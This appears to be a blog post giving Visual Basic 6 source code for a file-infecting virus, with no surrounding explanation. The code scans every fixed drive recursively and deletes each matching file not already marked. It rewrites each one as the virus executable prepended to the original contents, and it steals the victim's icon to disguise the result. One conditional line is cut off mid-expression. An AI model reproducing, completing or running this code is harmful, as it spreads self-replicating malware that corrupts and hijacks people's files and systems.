Sub GetDrives()
Dim ObjFSO As Object
Dim Drives As Object
Dim sDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set Drives = ObjFSO.Drives
For Each sDrive In Drives
If sDrive.DriveType = 2 Then
GetEXEs (sDrive & "\")
GetFolders (sDrive & "\")
End If
Next
End Sub
Function GetFolders(Folder As String)
Dim ObjFSO As Object
Dim sFolder As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders
DoEvents
Call GetEXEs(sFolder.Path)
Call GetFolders(sFolder.Path)
Next
End Function
Function GetEXEs(Path As String)
Dim exes As String, EXEPath As String
If Right(Path, 1) <> "\" Then Path = Path & "\"
EXEPath = Dir$(Path & "*.adi")
While EXEPath <> ""
List1.AddItem Path & EXEPath
'MsgBox Path & EXEPath
Call InfectEXE(Path & EXEPath)
EXEPath = Dir$
Wend
End Function
Function InfectEXE(EXEPath As String)
Me.Visible = True
On Error Resume Next
Dim Check As Boolean
Check = False
Dim s As String, ss As String, sss As String
Dim sNulls As String
Dim sLenICOINEXE As Long
Dim sLenDif As Long
Dim sLenTemp As String
Dim sTemp As String
s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)
For I = 1 To 296 ' Generate 296 Nulls to change 16*16 icon
sNulls = sNulls & Chr$(0)
Next
'First we will check if it is already infected
Open EXEPath For Binary As #1
sData = Space(LOF(1))
Get 1, , sData
Close 1
If InStr(25000, sData, "|||||") Then
'it is infected then do nothing
Else
'it is clean so try to infect it
Kill EXEPath
sIcon = GetIconFromEXE(sData, Check)
If Check = True Then
'MsgBox "Icon Found"
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2
I = InStr(1, VirusData, s)
If I <> 0 Then '(1u found)
VirusData = Left(VirusData, I + 1) ' get to u in (1u)
VirusData = VirusData & sIcon
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
Else 'If (1u) not found .. try to find (3u)
I = InStr(1, sData, sss)
If I > 0 Then
'Debug.Print "Second Method Method... (3u found)"
sTemp = Left(VirusData, I + 1) 'Get to (3u)
sLenICOINEXE = Len(VirusData) - (I + 297) ' add one byte to 296 coz of (u) in (1u)
sLenICOINICO = Len(sIcon)
If sLenICOINEXE > sLenICOINICO Then
sLenDif = sLenICOINEXE - sLenICOINICO
For I = 1 To sLenDif
sLenTemp = sLenTemp & Chr$(0)
Next
End If
VirusData = sTemp & sNulls & sIcon & sLenTemp
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
End If
End If 'for if i <> 0
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Else ' Means Check = False
'virus icon is default for the final EXE
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
End If ' for check
End If ' for |||||
End Function
Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String
Dim c As String, sNull As String, ss As String
Dim sPath As String, sIcon As String
Dim l As Long
c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
I = InStr(1, eData, "MSVBVM")
If I > 0 Then
'VB EXE
I = InStr(1, eData, ss)
If I > 0 Then
sIcon = Mid(eData, I)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
Else ' Not Vb EXE so first search for last (... ...@ and compare the size
I = InStr(1, eData, ss)
If I > 0 Then
If Len(eData) - I > 10000 Then
I = InStrRev(eData, ss, Len(eData))
If I > 0 And Len(eData) - I <>
sIcon = Mid(eData, I, Len(eData) - I)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
Else
sIcon = Mid(eData, I, 2238)
' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
Else 'means If Len(eData) - i <>
sIcon = Mid(eData, I, 2238)
' If 2330 - Len(sIcon) > 0 Then
' l = 2350 - Len(sIcon)
' For i = 1 To l
' sNull = sNull & Chr(0)
' Next
' End If
' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
End If
End If
state = False
End Function
Function AddBackSlash(strPath As String) As String
If Right(strPath, 1) <> "\" Then
AddBackSlash = strPath & "\"
Else
AddBackSlash = strPath
End If
End Function
No comments:
Post a Comment